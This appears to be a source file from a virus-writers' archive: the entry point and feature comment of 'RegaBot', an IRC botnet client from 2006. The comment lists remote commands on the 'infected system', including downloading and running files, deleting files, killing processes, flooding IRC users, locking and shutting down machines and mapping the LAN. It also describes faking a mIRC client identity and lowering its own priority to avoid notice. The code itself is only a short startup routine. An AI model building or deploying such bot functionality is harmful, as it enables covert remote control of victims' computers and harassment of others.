|| Author: RadiatioN/EOF || Back to sources || View project folder ||
// RegaBot.cpp : Defines the entry point for the application.
//
// http://www.irchelp.org/irchelp/rfc/

#include "stdafx.h"

/*

This is a simple IRC Bot with the following features:

- Get config file from one http server (EDIT THIS URL IN BasicFunctions.cpp on line 170!)
  this file has to look like:

  server dns	(eu.undernet.org)
  channel	(#vxers)
  port		(1667)
  send delay	(1500 milliseconds is a good value)

  server dns
  channel
  port
  send delay

  server dns
  channel
  port
  send delay

  and so on...

- able to join unlimited number of channels cause of using classes
  one class instance per IRC server
- Random Botnick (First character uppercase, rest lowercase)
- supports linux and windows HTTP/IRC Servers
- supported commands
  Commands without auth:
  .auth		auth yourself with bot (Use attached tool in subfolder)
  .dns		retrieves your dns or ip in IRC, needed for auth

  Commands with auth:
  .op		give op to sender of this message
  .voice	give voice to sender of this message
  .version	print bot version
  .quit		shutdown the bot
  .help		show all supported commands
  .systeminfo	show some infos about the system
  .delete	delete files
  .kill		kill a process
  .processlist	show all processes
  .dir		list all files in current directory
  .drivelist	show all drives in the system
  .cd		navigate the current directory to some other
  .activeuser	show all logged on users on bot
  .messagebox	show a messagebox on infected system
  .ircflood	flood someone other in IRC
  .noticeflood	flood someone in IRC via notice
  .display	set display off/on/black
  .run		execute an application
  .download	download a file from http server and save it to disk
  .windowlist	show all windows
  .lock		lock the workstation
  .active	show users logged in the bot
  .time		show local time where bot runs
  .uptime	show uptime of system
  .mac		show all MAC addresses
  .opendrive	open a CD drive
  .closedrive	close a CD drive
  .taskbar	hide/show/disable/enable taskbar
  .shutdown	shutdown the infected system
  .network	show all PC's in the LAN

  for exact usage look into the code :)

- use alternate nickname if other one already exists
- reconnects to the server after 60 seconds if there occur any errors
- fakes mIRC v6.16 client on server request (VERSION)
- simple encryption for auth to bot
  you will be only able to control bot commands when you have logged on with .auth
- reduces itselfs priority class so there will be not to much cpu load
- logs a user out if these one leaves the channel (part), quits (quit) or renames hisself

ATTENTION:
----------
Bot is buggy and not really finished!
There is no thread support for long commands like window listing
the bot also has no function to install itself to autorun
and some other stuff - i wont improve this version any more, was just a test project how
IRC Bots work :)

No Copyright - free for any use

Written by RadiatioN in March-July 2006

Zine and group site:
EOF - Electrical Ordered Freedom
http://www.eof-project.net

My site:
RadiatioN's VX World
http://radiation.eof-project.net

Contact:
radiation[at]eof-project[dot]net

some nice greetings to Sky my good friend :)


*/

int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{
	SetPriorityClass(GetCurrentProcess(), BELOW_NORMAL_PRIORITY_CLASS);
	
	CIRC bla;

	bla.GetSettings(0);
	bla.StartThread();

	while(bla.GetStatus()==0)
	{
		Sleep(100);
	}

	return 0;
}